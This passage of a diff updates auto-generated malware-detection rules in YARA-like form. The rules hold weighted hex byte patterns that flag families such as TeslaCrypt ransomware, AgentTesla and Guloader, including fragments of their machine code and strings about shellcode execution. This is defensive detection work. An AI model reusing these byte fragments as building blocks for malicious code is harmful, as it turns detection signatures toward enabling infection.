00 78 00 69 00 73 00 74 00 20 } //1025 - $a_00_4 = {68 00 65 00 6c 00 6c 00 20 00 54 00 79 00 70 00 65 00 64 00 31 01 5f 00 6c 00 6f 00 67 00 00 00 00 00 5f 00 63 00 6f 00 6e 00 66 00 00 00 5f 00 6e 00 6f 00 74 00 65 00 00 00 5f 00 6f 00 62 00 6a 00 65 00 63 00 74 00 00 78 d3 00 00 01 00 01 00 04 00 } //98 - $a_4c_5 = {3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 6c 61 43 72 79 70 74 2e 4c 4b 4d 21 4d 54 42 00 01 00 22 01 8a 8c 24 83 00 00 00 8a 94 24 83 00 00 00 80 f1 aa 80 f2 1f 88 4c 24 23 8a 4c 24 23 } //8993 + $a_09_2 = {28 90 01 04 2a 11 04 2a 90 00 02 00 0c 80 01 53 79 6e 63 68 72 6f 6e 69 7a 65 64 02 00 0d 80 01 53 74 72 69 6e 67 42 75 69 6c 64 65 72 02 00 05 80 01 44 65 6c 65 67 02 00 10 80 01 54 6f 4c 6f 77 65 72 49 6e 76 61 72 69 61 6e 74 02 00 05 80 01 45 6d 61 69 6c 00 00 78 d2 00 00 1e 00 1e 00 04 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 41 42 21 4d 54 42 00 0a 00 27 03 c7 45 fc 00 00 00 00 8b 45 f8 48 98 48 8d 15 90 01 02 00 00 0f b6 14 10 8b 45 f8 48 98 0f b6 44 05 d0 38 c2 74 90 00 08 00 30 03 8b 45 2c 48 8d 15 90 01 02 00 00 44 0f b6 04 10 0f b6 0d 90 01 02 00 00 8b 55 2c 48 8b 45 20 48 01 d0 44 89 c2 31 ca 88 10 83 45 } //1025 + $a_90_3 = {07 00 21 81 01 56 69 72 74 75 61 6c 41 6c 6c 6f 63 20 66 61 69 6c 65 64 20 66 6f 72 20 73 68 65 6c 6c 63 6f 64 65 05 00 20 81 01 53 68 65 6c 6c 63 6f 64 65 20 65 78 65 63 75 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e 00 00 78 d2 00 00 2c 01 2c 01 03 00 21 23 41 4c 46 50 45 52 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 44 75 63 6b 43 6c 61 6d 2e 42 21 64 68 61 00 64 00 3a 01 57 00 53 00 4d 00 61 00 6e 00 61 00 67 00 65 00 72 00 48 00 6f 00 6d 00 65 00 2e 00 41 00 70 00 70 00 49 00 44 00 2e 00 4e 00 6f 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 64 00 2c 01 4e 00 6f 00 20 00 45 00 78 00 69 00 73 00 74 00 20 00 57 00 65 00 62 00 53 00 68 00 65 00 6c 00 6c 00 20 00 54 00 79 00 70 00 65 } //300 + $a_00_5 = {6f 00 67 00 00 00 00 00 5f 00 63 00 6f 00 6e 00 66 00 00 00 5f 00 6e 00 6f 00 74 00 65 00 00 00 5f 00 6f 00 62 00 6a 00 65 00 63 00 74 00 00 78 d3 00 00 01 00 01 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 54 65 73 6c 61 43 72 79 70 74 2e 4c 4b 4d 21 4d 54 42 00 01 00 22 01 8a 8c 24 83 00 00 00 8a 94 } //95 condition: - ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1025+(#a_09_2 & 1)*1025+(#a_00_4 & 1)*98+(#a_4c_5 & 1)*8993) >=20 + ((#a_54_0 & 1)*18467+(#a_05_1 & 1)*1025+(#a_09_2 & 1)*1025+(#a_90_3 & 1)*300+(#a_00_5 & 1)*95) >=20 } -rule _InfrastructureShared_14233{ +rule _InfrastructureShared_15167{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,1e 00 1e 00 04 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4c 61 7a 79 2e 4b 41 42 21 4d 54 42 00 0a 00 27 03 c7 45 fc 00 00 00 00 8b 45 f8 48 98 48 8d 15 ?? ?? 00 00 0f b6 14 10 8b 45 f8 48 98 0f b6 44 05 d0 38 c2 74 } //21539 + $a_03_1 = {8b 45 2c 48 8d 15 ?? ?? 00 00 44 0f b6 04 10 0f b6 0d ?? ?? 00 00 8b 55 2c 48 8b 45 20 48 01 d0 44 89 c2 31 ca 88 10 83 45 2c 01 eb } //8 + $a_81_2 = {56 69 72 74 75 61 6c 41 6c 6c 6f 63 20 66 61 69 6c 65 64 20 66 6f 72 20 73 68 65 6c 6c 63 6f 64 65 } //7 VirtualAlloc failed for shellcode + $a_81_3 = {53 68 65 6c 6c 63 6f 64 65 20 65 78 65 63 75 74 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e } //5 Shellcode executed successfully. + condition: + ((#a_4c_0 & 1)*21539+(#a_03_1 & 1)*8+(#a_81_2 & 1)*7+(#a_81_3 & 1)*5) >=30 + +} +rule _InfrastructureShared_15168{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,2c 01 2c 01 03 00 21 " @@ -162427,7 +173288,7 @@ rule _InfrastructureShared_14233{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*86) >=300 } -rule _InfrastructureShared_14234{ +rule _InfrastructureShared_15169{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -162439,7 +173300,7 @@ rule _InfrastructureShared_14234{ ((#a_46_0 & 1)*16675+(#a_44_2 & 1)*25600+(#a_4c_3 & 1)*8192) >=1 } -rule _InfrastructureShared_14235{ +rule _InfrastructureShared_15170{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 04 00 21 " @@ -162451,7 +173312,7 @@ rule _InfrastructureShared_14235{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*110+(#a_63_3 & 1)*30063) >=1 } -rule _InfrastructureShared_14236{ +rule _InfrastructureShared_15171{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -162466,7 +173327,7 @@ rule _InfrastructureShared_14236{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*29551+(#a_00_3 & 1)*1+(#a_41_4 & 1)*8448+(#a_5f_5 & 1)*25956+(#a_01_6 & 1)*2560) >=1 } -rule _InfrastructureShared_14237{ +rule _InfrastructureShared_15172{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 09 00 21 " @@ -162483,7 +173344,7 @@ rule _InfrastructureShared_14237{ ((#a_46_0 & 1)*16675+(#a_30_1 & 1)*22362+(#a_01_2 & 1)*17002+(#a_52_3 & 1)*22833+(#a_00_4 & 1)*115+(#a_52_6 & 1)*21320+(#a_6f_7 & 1)*22625+(#a_39_8 & 1)*21761) >=1 } -rule _InfrastructureShared_14238{ +rule _InfrastructureShared_15173{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -162493,7 +173354,7 @@ rule _InfrastructureShared_14238{ ((#a_46_0 & 1)*16675) >=2 } -rule _InfrastructureShared_14239{ +rule _InfrastructureShared_15174{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -162504,7 +173365,7 @@ rule _InfrastructureShared_14239{ ((#a_54_0 & 1)*18467+(#a_58_1 & 1)*13122) >=2 } -rule _InfrastructureShared_14240{ +rule _InfrastructureShared_15175{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -162514,7 +173375,7 @@ rule _InfrastructureShared_14240{ ((#a_54_0 & 1)*18467) >=2 } -rule _InfrastructureShared_14241{ +rule _InfrastructureShared_15176{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -162526,7 +173387,7 @@ rule _InfrastructureShared_14241{ ((#a_46_0 & 1)*16675+(#a_2d_1 & 1)*2305+(#a_00_2 & 1)*2448) >=2 } -rule _InfrastructureShared_14242{ +rule _InfrastructureShared_15177{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -162539,7 +173400,7 @@ rule _InfrastructureShared_14242{ ((#a_6c_0 & 1)*16675+(#a_00_2 & 1)*114+(#a_63_3 & 1)*19551+(#a_6d_4 & 1)*29440) >=2 } -rule _InfrastructureShared_14243{ +rule _InfrastructureShared_15178{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 08 00 21 " @@ -162555,7 +173416,7 @@ rule _InfrastructureShared_14243{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*24936+(#a_48_3 & 1)*8448+(#a_5f_4 & 1)*12848+(#a_d9_5 & 1)*57+(#a_24_6 & 1)*-29936+(#a_00_7 & 1)*125) >=2 } -rule _InfrastructureShared_14244{ +rule _InfrastructureShared_15179{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -162567,7 +173428,7 @@ rule _InfrastructureShared_14244{ ((#a_54_0 & 1)*18467+(#a_8b_1 & 1)*9308+(#a_44_2 & 1)*1672) >=3 } -rule _InfrastructureShared_14245{ +rule _InfrastructureShared_15180{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -162578,7 +173439,7 @@ rule _InfrastructureShared_14245{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*43) >=3 } -rule _InfrastructureShared_14246{ +rule _InfrastructureShared_15181{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -162589,7 +173450,7 @@ rule _InfrastructureShared_14246{ ((#a_54_0 & 1)*18467+(#a_04_2 & 1)*0) >=3 } -rule _InfrastructureShared_14247{ +rule _InfrastructureShared_15182{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -162601,7 +173462,7 @@ rule _InfrastructureShared_14247{ ((#a_54_0 & 1)*18467+(#a_9c_1 & 1)*0+(#a_2d_2 & 1)*4363) >=3 } -rule _InfrastructureShared_14248{ +rule _InfrastructureShared_15183{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -162612,7 +173473,7 @@ rule _InfrastructureShared_14248{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*25600) >=3 } -rule _InfrastructureShared_14249{ +rule _InfrastructureShared_15184{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -162625,7 +173486,7 @@ rule _InfrastructureShared_14249{ ((#a_77_0 & 1)*19491+(#a_00_1 & 1)*121+(#a_74_2 & 1)*21087+(#a_09_3 & 1)*6544) >=3 } -rule _InfrastructureShared_14250{ +rule _InfrastructureShared_15185{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -162638,7 +173499,7 @@ rule _InfrastructureShared_14250{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12378+(#a_01_2 & 1)*-28672+(#a_58_3 & 1)*22874) >=3 } -rule _InfrastructureShared_14251{ +rule _InfrastructureShared_15186{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 07 00 21 " @@ -162653,7 +173514,7 @@ rule _InfrastructureShared_14251{ ((#a_46_0 & 1)*16675+(#a_43_1 & 1)*27753+(#a_65_2 & 1)*29810+(#a_00_3 & 1)*26+(#a_00_5 & 1)*0+(#a_53_6 & 1)*8993) >=3 } -rule _InfrastructureShared_14252{ +rule _InfrastructureShared_15187{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162665,7 +173526,7 @@ rule _InfrastructureShared_14252{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*116+(#a_77_3 & 1)*25692) >=4 } -rule _InfrastructureShared_14253{ +rule _InfrastructureShared_15188{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162678,7 +173539,7 @@ rule _InfrastructureShared_14253{ ((#a_54_0 & 1)*18467+(#a_81_1 & 1)*1+(#a_81_2 & 1)*1+(#a_81_3 & 1)*1) >=4 } -rule _InfrastructureShared_14254{ +rule _InfrastructureShared_15189{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -162690,7 +173551,7 @@ rule _InfrastructureShared_14254{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*99+(#a_00_3 & 1)*30720) >=4 } -rule _InfrastructureShared_14255{ +rule _InfrastructureShared_15190{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -162703,7 +173564,7 @@ rule _InfrastructureShared_14255{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_00_2 & 1)*72+(#a_00_4 & 1)*0) >=4 } -rule _InfrastructureShared_14256{ +rule _InfrastructureShared_15191{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 05 00 21 " @@ -162717,7 +173578,7 @@ rule _InfrastructureShared_14256{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*101+(#a_72_2 & 1)*29806+(#a_85_3 & 1)*22352+(#a_6f_4 & 1)*28719) >=4 } -rule _InfrastructureShared_14257{ +rule _InfrastructureShared_15192{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -162731,7 +173592,7 @@ rule _InfrastructureShared_14257{ ((#a_46_0 & 1)*16675+(#a_9d_1 & 1)*25697+(#a_4c_2 & 1)*12851+(#a_01_3 & 1)*26414+(#a_01_4 & 1)*26414) >=5 } -rule _InfrastructureShared_14258{ +rule _InfrastructureShared_15193{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -162745,7 +173606,7 @@ rule _InfrastructureShared_14258{ ((#a_46_0 & 1)*21283+(#a_65_1 & 1)*24879+(#a_2f_2 & 1)*28205+(#a_67_3 & 1)*26996+(#a_61_4 & 1)*11892) >=5 } -rule _InfrastructureShared_14259{ +rule _InfrastructureShared_15194{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162755,12 +173616,12 @@ rule _InfrastructureShared_14259{ $a_61_2 = {6c 74 2e 77 61 62 00 00 78 d3 00 00 06 00 06 00 06 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 57 52 21 4d 54 42 00 01 00 28 01 0b 8f 0f c3 28 97 83 19 57 2f 0d 9f 22 d7 2f 75 e5 bf 0e 2c ea fb 0a ba 96 eb f0 5f 1d 68 4d 2c 27 b9 fa 66 3d 63 0e 04 01 00 29 } //25956 $a_c0_3 = {f0 63 f6 4f 01 63 8c 00 e6 5e 74 97 16 3b e2 ab 0e e9 2e 37 7a 40 ca 84 03 5f 68 3b } //-20991 $a_65_4 = {8e a0 07 e1 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0a 01 46 72 6f 6d 42 61 73 65 36 34 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 11 01 47 65 74 54 79 70 65 46 72 6f 6d 48 } //-12014 - $a_6c_5 = {00 00 78 d3 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4f 31 32 33 21 4d 54 42 00 01 00 11 81 01 6c 6c 65 72 20 72 65 73 6b 6f 6d 70 61 67 6e 69 73 01 00 24 81 01 64 75 62 62 69 6e 73 20 62 72 75 64 65 6c 79 73 65 6e 65 73 20 64 65 73 74 61 62 } //28257 + $a_6c_5 = {00 00 78 d3 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 58 30 31 21 4d 54 42 00 01 00 21 81 01 5c 62 65 64 72 69 64 64 65 6e 6e 65 73 73 5c 73 61 6d 65 6b 73 69 73 74 65 6e 73 65 6e 2e 7a 69 70 01 00 10 81 01 5c 6d 69 73 6c 79 6b 6b 65 64 65 73 2e } //28257 condition: ((#a_46_0 & 1)*16675+(#a_6e_1 & 1)*29812+(#a_61_2 & 1)*25956+(#a_c0_3 & 1)*-20991+(#a_65_4 & 1)*-12014+(#a_6c_5 & 1)*28257) >=6 } -rule _InfrastructureShared_14260{ +rule _InfrastructureShared_15195{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162768,13 +173629,27 @@ rule _InfrastructureShared_14260{ $a_46_0 = {54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 42 57 52 21 4d 54 42 00 01 00 28 01 0b 8f 0f c3 28 97 83 19 57 2f 0d 9f 22 d7 2f 75 e5 bf 0e 2c ea fb 0a ba 96 eb f0 5f 1d 68 4d 2c 27 b9 fa 66 3d 63 0e 04 01 } //16675 $a_ae_1 = {c0 } //10496 $a_f6_2 = {01 63 8c 00 e6 5e 74 97 16 3b e2 ab 0e e9 2e 37 7a 40 ca 84 03 5f 68 3b 12 d1 4c 65 91 8e a0 07 e1 01 00 14 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0a 01 46 72 6f 6d 42 61 73 65 36 34 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 11 01 47 65 74 54 79 70 } //-3983 - $a_6f_3 = {48 61 6e 64 6c 65 00 00 78 d3 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4f 31 32 33 21 4d 54 42 00 01 00 11 81 01 6c 6c 65 72 20 72 65 73 6b 6f 6d 70 61 67 6e 69 73 01 00 24 81 01 64 75 62 62 69 6e 73 20 62 72 75 64 65 6c 79 73 65 6e 65 73 20 64 65 73 74 61 62 69 6c 69 7a 61 74 69 6f } //18021 - $a_61_5 = {6b 65 64 20 70 72 6c 75 64 65 72 65 74 01 00 08 81 01 75 6e 73 65 61 6d 65 64 01 00 1b 81 01 73 6b 6f 6c 65 62 6f 67 73 20 61 72 6d 61 6e 64 20 6c 69 74 68 6f 62 69 6f 69 64 01 00 23 81 01 75 64 61 61 6e 64 69 6e 67 65 72 6e 65 73 20 64 61 74 61 6d 61 74 73 79 6e 73 20 70 69 6e 61 63 65 61 65 00 00 78 d3 00 00 06 00 } //385 + $a_6f_3 = {48 61 6e 64 6c 65 00 00 78 d3 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 58 30 31 21 4d 54 42 00 01 00 21 81 01 5c 62 65 64 72 69 64 64 65 6e 6e 65 73 73 5c 73 61 6d 65 6b 73 69 73 74 65 6e 73 65 6e 2e 7a 69 70 01 00 10 81 01 5c 6d 69 73 6c 79 6b 6b 65 64 65 73 2e 7a 69 70 01 00 1d 81 01 } //18021 + $a_73_4 = {65 72 6f 70 61 72 69 65 74 61 6c 5c 6d 79 63 6f 63 79 74 65 2e 6a 70 67 01 00 1b 81 01 5c 41 66 68 76 6c 69 6e 67 65 72 73 5c 74 65 6c 65 66 6f 6e 73 65 78 2e 6a 70 67 01 00 13 81 01 54 69 6c 62 61 67 65 66 72 65 6e 64 65 32 33 2e 69 6e 69 01 00 11 81 01 6d 65 6e 64 65 6c 73 73 6f 68 6e 69 63 2e 74 72 61 00 00 78 } //22108 condition: - ((#a_46_0 & 1)*16675+(#a_ae_1 & 1)*10496+(#a_f6_2 & 1)*-3983+(#a_6f_3 & 1)*18021+(#a_61_5 & 1)*385) >=6 + ((#a_46_0 & 1)*16675+(#a_ae_1 & 1)*10496+(#a_f6_2 & 1)*-3983+(#a_6f_3 & 1)*18021+(#a_73_4 & 1)*22108) >=6 } -rule _InfrastructureShared_14261{ +rule _InfrastructureShared_15196{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4c 58 30 31 21 4d 54 42 00 01 00 21 81 01 5c 62 65 64 72 69 64 64 65 6e 6e 65 73 73 5c 73 61 6d 65 6b 73 69 73 74 65 6e 73 65 6e 2e 7a 69 70 01 00 10 81 01 5c 6d 69 73 6c 79 6b 6b 65 64 65 73 2e 7a } //18467 + $a_00_1 = {1d } //28777 + $a_56_2 = {73 63 65 72 6f 70 61 72 69 65 74 61 6c 5c 6d 79 63 6f 63 79 74 65 2e 6a 70 67 01 00 1b 81 01 5c 41 66 68 76 6c 69 6e 67 65 72 73 5c 74 65 6c 65 66 6f 6e 73 65 78 2e 6a 70 67 01 00 13 81 01 54 69 6c 62 61 67 65 66 72 65 6e 64 65 32 33 2e 69 6e 69 01 00 11 81 01 6d 65 6e 64 65 } //385 + $a_6f_3 = {6e 69 63 2e 74 72 61 00 00 78 d3 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 52 52 4f 31 32 33 21 4d 54 42 00 01 00 11 81 01 6c 6c 65 72 20 72 65 73 6b 6f 6d 70 61 67 6e 69 73 01 00 24 81 01 64 75 62 62 69 6e 73 20 62 72 75 64 65 6c 79 73 65 6e 65 73 20 64 65 73 74 61 62 69 6c 69 7a 61 74 69 6f } //29548 + $a_61_5 = {6b 65 64 20 70 72 6c 75 64 65 72 65 74 01 00 08 81 01 75 6e 73 65 61 6d 65 64 01 00 1b 81 01 73 6b 6f 6c 65 62 6f 67 73 20 61 72 6d 61 6e 64 20 6c 69 74 68 6f 62 69 6f 69 64 01 00 23 81 01 75 64 61 61 6e 64 69 6e 67 65 72 6e 65 73 20 64 61 74 61 6d 61 74 73 79 6e 73 20 70 69 6e 61 63 65 61 65 00 00 78 d3 00 00 06 00 } //385 + condition: + ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*28777+(#a_56_2 & 1)*385+(#a_6f_3 & 1)*29548+(#a_61_5 & 1)*385) >=6 + +} +rule _InfrastructureShared_15197{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162788,7 +173663,7 @@ rule _InfrastructureShared_14261{ ((#a_54_0 & 1)*18467+(#a_61_1 & 1)*26988+(#a_54_2 & 1)*18467+(#a_6f_3 & 1)*26995+(#a_00_5 & 1)*0) >=6 } -rule _InfrastructureShared_14262{ +rule _InfrastructureShared_15198{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -162802,7 +173677,7 @@ rule _InfrastructureShared_14262{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*26995+(#a_00_3 & 1)*0+(#a_61_4 & 1)*25665+(#a_45_5 & 1)*2060) >=6 } -rule _InfrastructureShared_14263{ +rule _InfrastructureShared_15199{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -162817,7 +173692,7 @@ rule _InfrastructureShared_14263{ ((#a_77_0 & 1)*16675+(#a_e1_2 & 1)*-14333+(#a_52_3 & 1)*18478+(#a_53_4 & 1)*-32759+(#a_61_5 & 1)*29810+(#a_d3_6 & 1)*0) >=6 } -rule _InfrastructureShared_14264{ +rule _InfrastructureShared_15200{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 09 00 21 " @@ -162835,7 +173710,7 @@ rule _InfrastructureShared_14264{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*16720+(#a_6c_2 & 1)*24948+(#a_37_3 & 1)*25445+(#a_6a_4 & 1)*20083+(#a_81_5 & 1)*1+(#a_d3_6 & 1)*0+(#a_39_7 & 1)*-32497+(#a_74_8 & 1)*14693) >=6 } -rule _InfrastructureShared_14265{ +rule _InfrastructureShared_15201{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -162851,7 +173726,7 @@ rule _InfrastructureShared_14265{ ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*17460+(#a_d3_2 & 1)*0+(#a_39_3 & 1)*-32497+(#a_74_4 & 1)*14693+(#a_50_5 & 1)*14713+(#a_78_6 & 1)*29252) >=7 } -rule _InfrastructureShared_14266{ +rule _InfrastructureShared_15202{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -162866,7 +173741,7 @@ rule _InfrastructureShared_14266{ ((#a_54_0 & 1)*18467+(#a_72_2 & 1)*385+(#a_36_3 & 1)*385+(#a_6e_4 & 1)*22330+(#a_00_5 & 1)*116+(#a_41_6 & 1)*29795) >=7 } -rule _InfrastructureShared_14267{ +rule _InfrastructureShared_15203{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 04 00 21 " @@ -162879,7 +173754,7 @@ rule _InfrastructureShared_14267{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*68+(#a_6f_2 & 1)*25970+(#a_65_3 & 1)*26485) >=8 } -rule _InfrastructureShared_14268{ +rule _InfrastructureShared_15204{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -162896,7 +173771,7 @@ rule _InfrastructureShared_14268{ ((#a_54_0 & 1)*18467+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1+(#a_d3_6 & 1)*0+(#a_55_7 & 1)*25957) >=8 } -rule _InfrastructureShared_14269{ +rule _InfrastructureShared_15205{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -162906,41 +173781,71 @@ rule _InfrastructureShared_14269{ $a_23_2 = {53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 53 4d 32 39 30 37 } //8 STR:Trojan:MSIL/AgentTesla.SM2907 $a_21_3 = {54 42 00 01 00 18 81 01 53 79 73 74 65 6d 2e 44 65 73 69 67 6e 2e 44 69 61 67 72 61 6d 2e 51 4d 01 00 11 01 67 65 74 5f 52 53 35 35 51 37 34 44 37 } //12850 $a_48_4 = {00 0d 81 01 52 53 35 35 51 37 34 44 37 48 37 47 48 01 00 0e 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 01 47 65 74 4f 62 6a 65 63 74 01 00 0a 01 47 5a 69 70 53 74 72 65 61 6d 01 00 1a 01 44 65 62 75 67 } //14152 - $a_42_5 = {6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 0c 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 00 00 78 d3 00 00 0b 00 0a 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 6c 6f 61 64 65 72 2e 53 49 42 41 21 4d 54 42 00 0a 00 8f 03 8b 40 0c 8b 70 14 8b 1e 56 53 e8 90 01 04 83 c4 08 31 c9 a8 01 0f 85 90 01 04 8d bd 90 01 } //25959 - $a_6a_6 = {6a 00 6a 00 6a 00 ff 73 20 e8 6a b9 00 00 83 c4 14 a8 01 75 90 01 01 0f } //-28668 - $a_01_7 = {c0 50 ff 73 20 57 e8 90 01 04 83 c4 0c 0f b7 43 1c 89 f9 66 c7 84 45 90 1b 02 00 00 } //17335 + $a_42_5 = {6f 77 73 61 62 6c 65 41 74 74 72 69 62 75 74 65 01 00 0c 01 4d 65 6d 6f 72 79 53 74 72 65 61 6d 00 00 78 d3 00 00 09 00 09 00 09 00 21 23 50 55 41 3a 42 6c 6f 63 6b 3a 4f 70 65 6e 49 6e 73 74 61 6c 6c 65 72 00 01 00 12 80 01 43 61 6e 63 65 6c 4f 66 66 65 72 54 68 72 65 61 64 73 01 00 09 80 01 50 61 67 65 4f 66 66 65 72 01 00 0b 80 01 73 68 } //25959 + $a_4f_6 = {66 65 72 73 01 00 0e 80 01 70 72 65 70 61 72 65 64 4f 66 66 65 72 73 01 00 14 80 01 49 73 4f 66 66 65 72 54 68 72 65 61 64 52 75 6e 6e 69 6e 67 01 00 14 80 01 64 69 73 61 62 6c 65 44 79 6e 61 6d 69 63 4f 66 66 65 72 73 01 00 0e 80 01 65 72 72 2e 63 6c 6f 69 6e 73 2e 63 6f 6d 01 00 0d 80 01 73 74 2e 63 6c 6f 69 6e 73 2e 63 6f 6d } //30575 + $a_80_7 = {61 66 74 65 72 64 61 77 6e 2e 63 6f 6d } //afterdawn.com 1 condition: - ((#a_54_0 & 1)*18467+(#a_54_1 & 1)*30583+(#a_23_2 & 1)*8+(#a_21_3 & 1)*12850+(#a_48_4 & 